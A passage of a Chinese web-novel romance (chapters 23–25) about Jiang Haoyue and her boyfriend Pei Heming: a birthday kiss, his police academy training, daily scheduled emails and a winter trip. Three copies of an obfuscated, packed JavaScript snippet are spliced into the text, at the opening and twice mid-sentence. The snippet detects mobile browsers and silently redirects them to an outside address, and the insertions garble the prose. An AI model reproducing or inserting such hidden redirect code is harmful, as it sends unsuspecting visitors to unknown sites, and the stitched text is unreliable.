d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308744|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叼起放在长椅上的纸袋给她。 江皓月蹲下来和狗狗平视,软着声音问:“辛哥,给我准备什么礼物啦?” 她拆开丝带,映入眼帘的是崭新的相机。 她的眼睛一下子亮了,把相机抱在怀里、跟抱宝贝似的:“以后我们一起拍很多很多照片!” “好。” 江皓月又看到旁边的花:“花怎么有两束呀?” 裴鹤宁低声说:“一束给你,一束给阿姨。” 江皓月不确认地问道:“送给我妈妈吗?” “嗯。” 裴鹤宁揉揉她脑袋,眼尾的弧度温柔又好看:“谢谢阿姨生下这么可爱的你。” 完全意料之外的答案,落在耳边的字音柔柔化成了水。 江皓月怔住,她从来没有想过裴鹤宁会因为她感谢她的妈妈。 他又说:“你今天肯定吃了很多蛋糕,这个拿回家放冰箱。” 是江皓月最喜欢的巧克力冰激凌蛋糕。 江皓月皱了皱鼻子,狡黠道:“其实每个蛋糕我都只切了一小块,因为想和你一起吃。” 水果清甜,巧克力香气浓郁。 夏日晚风温柔,江皓月在蝉鸣阵阵中,坐在裴鹤宁身边咬下第一口蛋糕。 眼睛餍足地眯起,蛋糕好吃得人一个激灵,她问裴鹤宁:“这是巧克力冰激凌蛋糕吗?” 裴鹤宁不明所以,“嗯”了声。 江皓月脸圆眼睛也圆,睫毛扑闪的模样灵动,拖长语调:“这才不是普通的冰激凌蛋糕!这是我男朋友给我买的巧克力蛋糕!” 裴鹤宁忍俊不禁:“这么开心?” 这一刻,江皓月发现蛋糕没有他的梨涡甜:“嗯!” 裴鹤宁睫毛带笑,睨她一眼:“小孩儿似的。” 江皓月:“我是巧克力脑袋。” “什么意思?” “就是满脑子都是巧克力的意思!” 她一样一样数给他听:“我喜欢巧克力,巧克力饼干,还有巧克力冰激凌、巧克力蛋糕,关于巧克力的一切我都喜欢……” 这才想起,她对裴鹤宁知之甚少,她只知道他喜欢鲸鱼,偶尔也喜欢打篮球,但都是那种淡淡的喜欢,不像自己喜欢巧克力这样狂热。 “你呢,”江皓月咬着甜甜的蛋糕问:“你是什么脑袋呢?” 裴鹤宁坐在她身边,身上每道线条都利落至极,干干净净的模样让人心动怦然,他的语气一如既往没什么情绪:“江皓月脑袋。” 江皓月的脑袋里有烟花炸开。 完了……今日糖分摄取完全超标了! 蛋糕就够甜的了,男朋友比蛋糕还甜,这可怎么办! “裴鹤宁。” “嗯。” 今年生日真的好幸福,幸福得都有点不真实了。 江皓月凑到裴鹤宁身边:“我不会是在做梦吧?” 裴鹤宁有些好笑地看着自己过分可爱的女朋友,什么都没说。 江皓月却把脸凑到他面前:“你掐我一下,我试试是不是在做梦?” 从侧面看去,她的睫毛像柔软的小刷子一样扑闪,脸颊的婴儿肥没有消,鼻尖挺翘,嘴唇紧张兮兮抿着,清甜的水果香气不知道来自蛋糕,还是她。 江皓月等半天,没等到人下手。 少年睫毛投影,长而分明,嘴唇薄而清晰:“我不舍得。” “哎呀没事啦,”江皓月很大方,“来,掐我一下掐我一下!” 可是,她没等到裴鹤宁在她脸上掐一下。 在她要抬头时,少年捧起她的脸,低头吻了她。 鼻尖相抵,呼吸交织,他低声问:“现在还觉得是做梦吗。” 23.第 23 章 “梁蜚,他要开学了……”——仓颉《玻璃糖纸》 - 蜻蜓点水的一下,脑袋像有什么轰然炸开,空白一瞬。 她被他捧着脸和他对视,少年长长的睫毛仿佛能戳到她的心尖,吻过自己的嘴唇,软得不可思议。 而他的耳朵红得快要滴血,因皮肤白无处可藏,青涩得不像话,也纯情得不像话。 心口的小鹿跳得快要疯掉,简直要把心房跳出个窟窿,江皓月害羞,害羞到想把自己藏起来:“我帽子呢?” 她懵懵地去摸自己的衣领,才想起现在是夏天,裙子是长不出卫衣的帽子的…… 就这么一句没头没脑的“我帽子呢”,裴鹤宁竟然听懂了,轻抚在她脸侧的手指,勾着她的后脑勺把她按到自己怀里:“这儿呢,给你藏一下。” 额头抵在他的肩膀下方,呼吸之间,都是他身上的薄荷香气,江皓月脑袋里似乎有弹幕,在尖叫、在刷屏—— 呜呜呜好温柔…… 是初吻!生日这一天的初吻! 他的嘴唇怎么会那么那么软啊啊啊啊…… 今天真的不能更完美了! 好半天,江皓月抬起头,盯着男朋友近在咫尺的帅脸,美滋滋道:“其实你才是生日礼物吧……” 裴鹤宁摸摸她的头:“如果你愿意收下的话。” 她喜欢被他摸摸头,带着纵容和安抚意味,就好像她还没长大、是被宠爱的小朋友。 她告诉裴鹤宁:“我去年的生日愿望实现了。” “什么愿望?” 她嘴角抿着笑,有些不好意思又有些得意:“希望今年生日你还在!” 那个时候她真的很乖很纯情,只是希望今年生日他还在,都没想过会跟他牵手拥抱、还有亲亲。 江皓月收紧环在少年腰身的手臂,仰起脸问:“你呢,去年给我过生日的时候,你都想了什么?” 脑海自顾自浮现她那天的集训恶心穿搭、哭过的红红的眼皮和手指洗不掉的铅灰,她又说:“是不是觉得这个江皓月哭哭啼啼的真麻烦?” 十八岁生日的江皓月被爱意包围。 十七岁生日的江皓月自己一个人在离家八百公里的地方偷偷哭。 “那天我在想,如果我不是十七岁,是二十七岁就好了。” 江皓月不明所以,只是觉得裴鹤宁目光好温柔、温柔到让人心甘情愿溺毙在里面。 “为什么呀?” 裴鹤宁语气很软:“二十七岁的话,应该就可以在你哭的时候抱你了。” - 六月底,高考成绩公布。 七月中旬,裴鹤宁收到警校的录取通知书。他复印了一份,放到妈妈的墓碑前。 “还说上警校要打断我的腿呢,”他看着母亲警服笔挺的遗照,喉咙发涩,“连来我梦里看看我都不肯。” 八月底,警校开学,随之而来的是三十天警训,期间手机上交,将会彻底和外界断联。 裴鹤宁先江皓月一步,开始收拾离家的行李。 “降温喷雾买了?速干短袖带了?袜子和运动鞋都要黑色的,你那些白色运动鞋就别带去了,不合规定,也没时间洗,你小子又有洁癖。” “小时候别人踩到你的白色运动鞋,你都能上学上一半气呼呼跑回家。” 裴鹤宁抬头,妈妈坐在沙发上,对着他的行李箱挑挑拣拣。 他张了张嘴,太长时间没有喊过那个字,以至于嗓音发涩:“妈……” 妈妈笑着:“还是考了警校呢。” 她手里拿着他带给她那张录取通知书,一行字一行字看过去,眼里是一个母亲的骄傲和赞赏。 “您不生气?” “我骄傲都来不及。” 嘴硬心软。 裴鹤宁想笑,眼眶先湿润,垂着眼睛不知道说什么的模样,像个受了很多很多委屈的小朋友。 “长大很辛苦吧?” 裴鹤宁否认:“没有。” 妈妈脸上流露出类似捉弄小孩的表情,很八卦地问:“因为那个小姑娘?” “您怎么知道。” “你妈我一直看着呢!” 妈妈的语气很骄傲,可当她看向他,眼底都是浓重的不舍和心疼。 “你抱着我遗照的时候我在,你藏起我的制服的时候我在,你和爸爸吵架一个人离开家的时候我在,你在地下室看着我的身份证哭的时候我在,除夕夜你对着我照片发呆的时候我也在……” 母亲起身,面容重新变得年轻,好像又回到她最骄傲的年纪,身上警服笔挺,没有一丝褶皱。 柔柔的光笼着她,她最后一次摸摸他的头:“但是现在,你长大了,妈妈也要走了。” …… 裴鹤宁开学前一天,江皓月拎着大包小包风风火火来了。 父亲再婚后,裴鹤宁就搬出来自己住了,这套房子是母亲的婚前财产,位于市公安局家属院。 密码锁录了江皓月的指纹,当时江皓月扑闪着一对圆眼睛,贼兮兮吓唬他:“你不怕我来偷东西哇?” 裴鹤宁忍俊不禁弯下眼尾:“这里最值钱的是我,把我偷走吧。” 眼下,她把重重两个纸袋放到桌子上:“这个袋子里是日用品,降温喷雾、防晒霜、药膏、洗漱用品什么的,是我妈妈给你准备的。” “这个袋子里是吃的,除了零食还有我爸刚出锅的红烧排骨、糖醋里脊、大米饭,可香了,你闻闻!” 说着说着,她就有点难受。大学就要开学了,多开心多骄傲的事情呀,共和国警官的摇篮呢,都没有人送他。 听说裴鹤宁他爸再婚,又生了小孩,宝贝得不得了,欢乐哥撞见过他爸抱着小儿子逛超市买玩具的场景。 裴鹤宁没看袋子里的东西,只是牵过她的手,看她被袋子勒出红痕的手指,慢慢揉着:“帮我谢谢阿姨叔叔。” “谢什么,”江皓月得意,“我妈我爸可喜欢你了。” “你吃晚饭了?” 江皓月摇头:“没呢,我来和你一起吃。” 裴鹤宁拿出江教授给他打包的饭菜:“我去热一热。” “那我和辛巴去给你收拾行李箱。” 裴鹤宁有点洁癖加强迫症,这俩结合威力不容小觑,床边放着他还没有打包的衣物,一沓一沓非黑即白,叠得整整齐齐。 好好一个冰山帅哥,颇有点宜室宜家的人夫感。 眼前摆在地板上的黑色行李箱老大一个,分开突然有了实感。 明天这个时间,裴鹤宁就已经在学校了,是不是已经上交手机了? 裴鹤宁推开卧室门,不见江皓月,辛巴一脸无辜,趴在他的行李箱旁边。 行李箱的盖子鼓起来,拉链没有拉上。 他走近了些,弯腰打开自己行李箱,然后看到把自己装进他行李箱的江皓月。 棉质长裙,短发,抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319722|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝盖缩在里面,软软笑着和他say hi,满心满眼,都是他。 让人心软如泥。 他已经很久很久没体验过“不舍得”这样的情绪。 像是无形中有根红线绕过他的心脏,而线的另一段,在江皓月手里。 他好笑又心软,蹲在她面前,放轻语气问:“是谁给你盖上的盖子?” 江皓月毫不犹豫供出同谋:“是辛哥!” “在里面不难受吗?”他起身,把手递给她,“出来吧。” 江皓月不情不愿搭上他的手,可怜巴巴:“把我一起带走吧。” 眼角眉梢,都是不加掩饰的不舍,孩子气地想要跟着他一起上学。 之前没有天天粘在一起也还好,现在每天见面、每天抱抱、每天像小狗碰碰鼻子一样碰碰嘴巴,这几天想到裴鹤宁要开学,她都睡不着觉。 裴鹤宁没说话,江皓月乖乖起身不再闹他。 只是她还没站稳,就被他拉进他的怀里,毫无防备。 “江皓月。” 裴鹤宁清俊的眉眼在眼前放大,五官已然是介于少年和青年之间的深邃英挺,感受到他呼吸的那一刻,她下意识屏住呼吸,声音不稳:“嗯……” 男生的手指轻轻抚摸她脸颊和耳朵的交界,眼神直白带着侵略感,跟她确认:“接吻吗。” 江皓月心跳慌乱,点头的下一秒,嘴唇有柔软温热的触感落下来。裴鹤宁漆黑浓密的睫毛,鸦羽一般低低垂下,她心悸着闭上眼睛。 眼前一片漆黑,其他感官愈发敏感。 她感受着唇上从青涩克制、浅浅的啄,慢慢变成含住下唇的轻吮、和温柔到心颤的厮磨。 江皓月垂在身侧的手紧紧攥住他的T恤下摆,慢慢失掉力气,绵软一片。 裴鹤宁抵着她的鼻尖轻轻蹭,嘴唇短暂分开的片刻,他低声命令:“喘气。” 江皓月懵懵地睁开眼,脑袋在缺氧。 喘气的空隙,裴鹤宁又追着亲上来…… 不知道过了多久,江皓月脸埋在裴鹤宁怀里,呼吸慌乱无措。 嘴唇被吮得发麻,似乎还停留着被吻的触感,人踩在软绵绵的云朵里没有实感,要紧紧攥着裴鹤宁的T恤,才能不从云朵里掉下去。 “明天你就去学校了……” 裴鹤宁“嗯”了声,嗓音不像平时清润,落在耳边,耳朵尖儿过电一样发麻。 江皓月忧心:“会不会有小姑娘喜欢你啊?” 裴鹤宁:“不会。” 江皓月皱着眉捏他的脸,十八岁的男孩子皮肤嫩得能掐出水,近看都没有毛孔的,手感比想象中还要软还要让人上瘾。 刚接过吻的嘴唇,很红,她不敢多看。 “我还挺担心的,那你都不担心有男生追我吗? 裴鹤宁垂眸,看向怀里的女朋友。 发丝很软,眼睛很亮,是所有人的小太阳。 只要了解她,就会喜欢她。 可小太阳也会下雨。 他开学后,会有一个月和外界失联,在这一个月里,她要离开家,去到新环境,自己一个人。 他记得第一次见到她时,她给家里打电话,拼命忍着哭的样子。 “担心。” 江皓月听裴鹤宁这样说,嘴角抿出弯弯的弧度,笑意亮晶晶。 下一秒,却是落在额头的吻,和他低而轻的嗓音:“但我更担心,你哭的时候没人哄怎么办。” 24.第 24 章 8月底,裴鹤宁为期一个月的警训开始,发给江皓月的最后一条信息,是【我要交手机了】。 9月1日,江皓月迎来大学开学。 她的行李太多,从吃的穿的到用的,妈妈不放心,全部买好给她带上。爸爸开车送她,天不亮出发,下午三点多到校。 当这么多年的梦校近在眼前,江皓月才发现自己最想去的地方,其实是有妈妈爸爸在的家。 这三个月的暑假太幸福太安逸,她每天睡到自然醒,同样放暑假的爸爸想着法给她和妈妈做好吃的,晚上还可以和裴鹤宁一起带辛巴散步。 他们在公园,在路灯照不到的地方,在自己家楼下,又或者在他家,浅尝辄止地接吻、熟悉彼此的气息与怀抱,青涩稚拙,像两只碰碰鼻尖的笨蛋小狗。 裴鹤宁总不忘伸手捂住辛巴的眼睛。 可是现在,她要一个人留在这里,没有裴鹤宁,没有梁蜚,没有欢乐哥,甚至放学之后还不能回家。 妈妈爸爸陪她办理了入学手续,又来到宿舍帮她铺好床铺、挂好床帘,把带来的零食分给她的室友们,笑着说自家女儿是个小迷糊蛋,以后还请大家多多关照了。 江皓月站在旁边,鼻子越来越酸。 床帘挂好了,昨天妈妈晒在阳台的床单被套铺在学校的床上,爸爸帮她把热水瓶装满,告诉她食堂要往哪边走、超市要往哪边走、操场又在哪边…… 她小心翼翼地问:“那你们现在要回家了吗?” “很快就放假了,等十一放假和小裴一起坐高铁回家,”妈妈揉揉她的脑袋,“妈妈和爸爸明天还要上班,现在就得往回走了……” 江皓月眼巴巴地问:“不能把我也带回去吗?” 一句话,就让许医生红了眼眶,她背过身摘下眼镜擦眼泪。 江教授笑着安抚妻子和女儿:“十月一很快的……”可除了这句,也是什么都说不出来了。 早知道,还不如在家门口上大学呢,起码不开心了、受委屈了、想家了,女儿一个电话他就能接她回家。 江皓月送妈妈爸爸到宿舍楼下,那一刻看着他们离开的背影,她真的很想问:你们回家为什么不带我呢? 妈妈笑着对她挥手说“回去吧”,笑着笑着眼泪就下来了, 擦着眼泪离开的背影,像个受了委屈的小姑娘。 转身的时候,眼泪掉下来。 陌生的城市、陌生的宿舍楼,还有陌生的和自己住在一起的人。 和室友对上视线,江皓月笑了笑,钻进自己的小窝。 点亮手机屏幕,锁屏是生日那天和妈妈爸爸的合影,捧着蛋糕戴着王冠的她在最中间。 解锁之后的壁纸,是她和裴鹤宁。 她用他送给她的相机,缠着他拍了很多张自拍,拍照的时候他总是不看镜头,垂着眼,目光落在她身上,眼尾是很温柔的弧度。 他现在过得还好吗? 他们的警训是不是要比她们的军训严格好多好多倍? 有妈妈爸爸来送自己,她都这么难过了。 那开学那天,自己拎着行李箱上了高铁的裴鹤宁,又是怎样的心情呢? 学校是母亲的母校,身边却没有母亲的身影。 手机震动,提示:【您有一封新邮件。】 江皓月很少用邮箱,想不通除了垃圾广告,有谁会用这么老土的方式联系她。 只是当她看到第一行字,目光凝滞,视野重新变得模糊。 【你在哭,对不对? 阿姨叔叔已经回家,四周是完全陌生的室友。 你在想家,想辛巴,如果足够荣幸,或许还有我。 想哭就哭一会儿吧。 小太阳也会下雨的。 但是相信我,你会很快和你的室友们熟悉,会很快认识能玩到一起的小伙伴。 或许此时此刻,已经有人对你很有好感,但是还不敢贸然上前和你打招呼。 没有人不会喜欢你,包括当初那个不爱说话的裴鹤宁在内。 而此时此刻的我,应该正在想你。】 江皓月手指飞快地打字,生怕慢了裴鹤宁就看不到了:【裴鹤宁,你在吗?】 邮件发出去,得不到任何回音。 才反应过来,邮件是定时发送。 眼泪打湿睫毛。 江皓月在开学最难熬的第一天晚上,把那几行字看了一遍又一遍。 - 军训就这样开始了。 上午三个小时,下午三个小时,晚上一个半小时。 军训第一天。 晚上回到宿舍,江皓月的脑袋晕晕乎乎, 她洗完澡洗完衣服,去阳台拨通家里的电话。 听到妈妈声音的瞬间,鼻子瞬间就酸了。 “和室友们认识了吗?” “吃的怎么样?” “军训累吧?” 江皓月没说自己今天一天都没有去食堂,军训结束她就回到宿舍,面包搭配酸奶,凑合了一顿又一顿。 她搓搓有些湿润的眼睛,撒谎说:“吃得很好很饱,和室友们一起的,你们不要担心,我已经不想家了……” 怕他们工作又忙又累还要惦记她,她说着“我很好”挂断电话,吸吸鼻子,眼泪又不争气地想要往下掉。 回宿舍的时候室友们都在,大家都在忙各自的事情。 江皓月钻进自己的小床帘,一个人消化想家的情绪。 手机屏幕亮起,提示又有新邮件。 所以邮件不是只有一封…… 会不会……每天都有呢? 【还是不太开心对不对? 但恭喜江皓月同学度过大学最难熬的一天。 之后的每一天,都会比今天好一点。 不要没人一起就不去吃饭。 如果把我女朋友饿瘦了我会找你算账的。 去看看学校食堂哪个窗口最好吃。 等下次我去找你的时候,带我去。 】 他怎么会这么了解她呢? 江皓月的眼睛轻轻弯下去。 她穿上鞋子,准备一个人去餐厅逛一逛,她一定要在和裴鹤宁见面前,找到学校最好吃的美食。 军训第二天。 江皓月在军训解散后,接到了欢乐哥的电话—— “你是不是又想家呢!” 被戳破的江皓月嘴硬:“谁跟你说的,才没有呢!” “裴鹤宁啊,他警训前给我打电话,让我多跟你说说话,不然你一个人待着容易哭。” 月光如流水,清冷温柔,像他看她的目光。 江皓月心软得无可救药,突然很想很想他,又或者说,见不到面的时候想念没有一刻停止,只是这一刻将她彻底淹没。 电话那边何嘉豪有意逗她开心,说起小时候的糗事。 江皓月看着头顶的月亮:“放心吧,我不想家了,你快忙你的吧。” 手机“叮”的一声。 【我是不是没有和你说过。 你集训的时候,我看到月亮会想你。】 军训第三天。 江皓月从集合的那一刻开始就在期待解散,期待今晚裴鹤宁的邮件,她猜不出来,心痒得不行。 如果她知道裴鹤宁邮箱的密码就好了,那样的话,她就能把他没有发出的邮件一口气读完。 定时的邮件比新闻联播还要准时: 【今天有没有人一起吃饭? 在她们聊天的时候加入一下好不好?】 江皓月忍不住想象他说这句话的语气,冰冷的声线又轻又软,和哄小朋友一样。 她的性格一直很外向很开朗,可前提是在足够安心的环境下,开学想家威力太大,她现在已经快要变成自闭蘑菇。 不知道是谁开了个头:“你们都有对象没啊?” 一个口音带点大碴子味的萌妹子,点头说男朋友没有,但有暗恋的人。 室友问:“你们高中的?” 萌妹子摇头:“已经工作了,是个警察叔叔。” 江皓月从床帘里探出个脑袋,眼神炯炯地说了句:“我男朋友也在警校。” 军训第四天。 昨天晚上卧谈会开得太晚、太深入,从萌妹的暗恋聊到江皓月的明恋,导致第二天早上四个人齐刷刷睡过头。 “姐妹你的帽子没戴!” “哎哎江皓月你先别冲刺,你腰带呢?” 四个人齐齐跑向训练场,齐齐受罚。 目光对上,都在憋笑。 晚上,新邮件准时抵达—— 【和室友们熟悉了吗? 和班里同学认识了吗? 男同学只知道名字就可以了。】 江皓月抱着手机仰面倒在床上,被萌得心颤。 “笑什么呢?”洗漱回来的萌妹子问。 被带偏口音的江皓月说:“笑我男朋友贼可爱。” 他好可爱。 她好想他。 军训第五天—— 【警训一个月也好,寸头不好看,还好你看不到。】 军训第六天—— 【嫉妒你身边每一个能见到你的人。】 军训第七天—— 【其实我第一次见到你,不是在学校电话亭,是在许阿姨办公桌的照片里。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324450|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 时间在期待中变得不再难熬,和室友们熟悉起来的江皓月重新变回无忧无虑的小太阳。 “原来你话这么多呢?” “岂止是话多,我昨天被她讲得脑子现在还嗡嗡的。” “刚见面的时候我还以为她很内向很乖呢,笑起来软软的说话慢慢的,没想到是个话痨……” 江皓月笑得见牙不见眼。 两个星期后,军训结束。 江皓月见到了何嘉豪和梁蜚。 何嘉豪在清华学数学,梁蜚在人大念法律。 见到面的那一刻,梁蜚笑着给她一个大大大拥抱。 “梁蜚,你过得怎么样?” 读大学的梁蜚好像一下子长大了,眉眼间有种适应良好的松弛、和重获新生的兴奋:“都好,我就是担心你,是不是又在想家。” 江皓月老实巴交:“我自己都不知道为什么,每天只要军训闲下来就想哭,但是哭了一两天就好了……” 梁蜚摸摸她的头:“这么厉害?” 江皓月笑着:“因为裴鹤宁每天都定时给我发邮件。” 想家的情绪,被一天一封的邮件转移。有时候是邮件,有时候像情书,原来高冷如裴鹤宁,也会讲情话。 她又问何嘉豪:“他警训前给你打电话还说什么了?” 何嘉豪也不知道自己有什么想不开的,放着休息日不休息来这儿吃狗粮:“说让我和你多联系,能见面的时候来看看你,还让我拜托梁蜚见面抱抱你……” “我说,我抱就是了,反正我俩从小一起长大。” 江皓月很嫌弃地看了何嘉豪一眼:“谁要跟你抱!” “然后你对象跟我说了两个字:你敢。这小子占有欲这么强的吗?以后不会拿着你手机删我微信吧?” 江皓月故意笑嘻嘻地气人:“那也说不定呢,他就是喜欢我喜欢到面目全非,那到时候让我删我就真删啦?” - 周末过后,正式开始上课。 呼吸之间都是大学校园的自由气息。 一切都很完美,但是总有一个瞬间,江皓月会蓦地想起裴鹤宁——如果他在多好。 一天一封的邮件没有间断,计数着距离裴鹤宁警训结束、还有半个月。 音讯全无的这段时间,江皓月会时不时点开他们学校的视频号和公众号,因为里面会更新新生警训的视频、照片。 在某天视频号的更新里镜头一闪而过,她竟然真的看到了裴鹤宁。 还说寸头不好看,还说幸亏她看不到,他是真的对自己那张脸缺乏正确认知。 只是一张侧面剪影,他甚至都不是镜头的焦点所在,只是骨相过分优越、鼻梁又直又挺,只看侧面都知道是个五官很顶的大帅哥。 他在她面前太过温柔,都让她忘记他还有这样冷淡严肃的一面,猝不及防看到,被帅得一愣。 而发现他的岂止她一个,有人截图发在评论区—— 【哪个专业的?几班的?叫什么名字?求联系方式!】 【侦查系,超高分进的,但是人家有女朋友了。】 【你怎么知道?】 【我搜他手机号看到微信头像了。】 太久没有聊过天,【男朋友】的对话框已经沉到下面,以至于江皓月一直没有注意到,裴鹤宁不知道什么时候换了头像。 小图看不清,只能看到似乎有字迹密密麻麻,点开才发现,那是一张平平无奇的物理卷子。 只不过姓名的位置,写着:“江皓月的裴鹤宁。” 两种字迹,“江皓月”是他写的,后面是她补全。 甚至,微信名字都改掉了—— jhy''s。江皓月的。 难怪,她问会不会有女孩子喜欢他的时候,他笃定不会,没有半分余地。 裴鹤宁失联的第30天,邮件只有一行字—— 【女朋友,我很想你。】 见不到面,还每天撩她,不知道她会很想他吗? 江皓月想他想得不行,噼里啪啦回复:【大坏蛋!】 “男朋友还没发手机?” “没呢。” 江皓月和室友们刚下课,笑笑闹闹,叽叽喳喳。 她们买了好多奶茶零食,准备今晚一起追综艺。 十一假期近在眼前,临近幸福的时候最幸福。 江皓月拿出行李箱,把给家里人买的特产礼物一样一样放进去,嘴里还喝着甜甜的奶茶。 手机响起,估计又是班级群里的通知。 江皓月咬着珍珠,漫不经心点开—— 【见面吧,大坏蛋在楼下。】 25.第 25 章 在北京读书的四年,江皓月最喜欢的四个字,就是裴鹤宁发来的:【我在楼下】。 宿舍楼的走廊和台阶、楼下的路灯和树,见证了每一次她拎着裙摆、她穿着风衣、她裹着厚厚的羽绒服、她换上色彩鲜艳的毛衣,在盛夏、在初秋、在初雪落下的那一天、在春日渐暖的风里,奔向她的心上人。 小蘑菇的账号,记录了他们每一次见面,他们牵手走在大学校园,他们一起去故宫看雪,他们在初冬的街头咬上冰糖葫芦,他们在新年钟声敲响的那一刻亲吻对方、在盛大的烟花之下眼睛里只有彼此…… 笔尖四季变换,人间又是一年。 大三寒假,他们约定一起旅行。 江皓月和妈妈报备,满怀期待地描述:“酒店就在山里!推开窗就是大雪覆盖的白桦林!还可以泡温泉!我还不知道冬天泡温泉是什么感觉呢!” 妈妈揉揉她的脑袋,只说要保护好自己。 江皓月摇头,表示是妈妈多虑了:“你忘了我男朋友是做什么的了?侦查系的第一名诶!他会保护我的嘿嘿!” 还“嘿嘿”呢,女儿眉眼间一派天真,许医生无可奈何叹了口气,失笑。 倒是从侧面说明,裴鹤宁同学很珍惜她的女儿,或许和她还有老江一样,还把她当个小朋友,所以才会连“保护自己”是什么意思都听不懂。 但该说的,还是得说。 “我说的保护,不是这个保护,是要爱惜自己的身体,你们要做好安全措施。” 啊……是这个保护。 江皓月听懂的瞬间,脸红成番茄。 她已经和裴鹤宁谈恋爱谈了两年半,最亲密的接触也就是接吻的时候、他会让她张嘴了……除此之外,清清白白,他的手都不会乱碰,要么捧着她的脸,要不揽着她的腰。 于是收拾好行李之后,江皓月在被窝里点亮手机,搜索:第一次和男朋友一起旅行注意事项。 网友语言直白大胆,她看着看着脸颊就开始无可救药地发烫,手机变成烫手山药,她害羞,可眼睛没有离开屏幕。 第二天,她带着不可告人的小心思踏上旅途,前一天晚上没有睡着,在飞机上靠着裴鹤宁睡得昏天黑地,当她睁开眼睛,飞机已经降落滑行。 “到了。”裴鹤宁亲亲她的额头,那张冰冷美貌的脸近在咫尺,皮肤有种冷感的白。 江皓月脑袋里又蹦出来之前悄悄做的功课,在北方零下几十度的天气里,脸颊自顾自发烫。 到酒店办理入住,已经是傍晚。 江皓月回到房间放下行李,换下厚厚的棉衣,眉眼兴奋道:“我们去泡温泉吧!” 裴鹤宁正在整理行李,衣服挂到衣橱、洗漱用品放到卫生间,他本来就有点洁癖,加上在警校待久了,做什么都很干净利落。 “你带泳衣了吗?没带的话我陪你去买。” “没带。”裴鹤宁没有这方面打算。 室外零下几十度,室内像夏天,他身上一件白T、一条黑色运动长裤。 肩很宽、腰很细,身形有种介于少年和青年之间的美感,清瘦却不单薄。 她的目光还要往下,被裴鹤宁捏起下巴、强制转移视线:“江皓月,你往哪儿看。” 江皓月无辜:“我目测一下,你需要什么尺码的……泳裤。” 裴鹤宁皱眉的样子也很帅:“你研究过男士泳裤尺码?” “没有……” “不用管我,”他揉她脑袋,“想去我陪你一起。” “好吧……”江皓月找出泳衣去换。 她带的泳衣是偏保守的款式,上面是短袖,下面是短裙,但是面料特性和功能决定,衣服是紧紧贴在身上的,腰身纤细得很直观,明黄色衬得肤白如瓷,她个子不高但是比例好,在自己的身高限度里长了两条最长的腿。 平日里宽松惯了也随便惯了,她难得有些不好意思:“好看吗?” “嗯,好看。”裴鹤宁连看没看敷衍道。 江皓月皱眉:“你都没有好好看看!” 她在他面前转了一圈。 裴鹤宁垂下眼睫,认认真真看向他不夸、就不开心的女朋友。却在那个瞬间,看到有一颗痣,在少女裙摆没有遮住的大腿内侧。 他错开视线,喉结一上一下滚动着,线条清晰凌厉。 出了房间,江皓月套上外套直奔能看雪景的室内私汤。 她泡温泉、吃零食,裴鹤宁就在旁边陪她聊天、听她叽叽喳喳,长途奔波的疲惫在温热的泉水里荡然无存,唯一遗憾的是,裴鹤宁这个老古板捂得严严实实,她本来还想看看腹肌呢…… 直到手指泡得发皱,她才恋恋不舍出来。 等吃完晚饭回到房间,已经是睡觉时间。 双人间,两张床。 江皓月洗过澡,脸颊带着浴室蒸腾出来的水汽,穿着长袖长裤的睡衣,呈大字型仰面躺在柔软舒适的床上,眼角眉梢都是亮晶晶的开心。 现在在雪山里呢! 还泡了温泉吃了好吃的! 她和她喜欢的人一起! 明天睁开眼睛就能看到他! 裴鹤宁洗过澡擦着头发出来,眉眼更浓、嘴唇也更红了似的。 江皓月心说好一幅美人出浴图,然后身旁的手臂举高到头顶,给他比了个好大的心。 逗得美人忍俊不禁。 裴鹤宁带着一身清冽的沐浴露味道走到她旁边,擦着头发问她:“开心?” 江皓月:“嗯嗯嗯。”一叠声的,小孩儿似的。 裴鹤宁捏捏她的脸又揉揉她的脑袋:“早点睡,明天出去玩。” 那张英俊清秀的脸近在咫尺,江皓月昨天晚上看的那一堆有的没的开始往外蹦。 “就这样?”她不确定地问。 裴鹤宁擦头发的毛巾还搭在脖颈,手撑在江皓月枕头旁边,低头,给了她一个温柔的晚安吻。 亲得比平时轻,也比平时短。 所以在裴鹤宁嘴唇离开的时候,她搂住了他的脖颈:“还要。” 软而甜腻的两个字。 裴鹤宁知道自己不应该在不该纵容的时刻纵容,可是他纵容了。 他垂下眼睫,温柔含住她的唇,辗转厮磨,在她不自觉屏气的时候告诉她“呼吸”,在她呼吸、嘴唇微张的时刻,舌尖撬开她的齿关。 一开始是想让江皓月开心、用她喜欢的方式同她接吻,可亲到后面,完全是遵循本能。他撑在她身侧的手指,轻轻摩挲着她的脸颊、耳侧,指尖的皮肤在不断、不断地升温。 他还想要往下,冷白手臂上青筋绷起,线条锋利克制。 裴鹤宁偏开头,额头抵在枕头上,任由呼吸和心跳都乱掉。 江皓月脸颊红红的,害羞到睫毛乱颤,气息错乱到脑袋不清:“……不继续吗?” 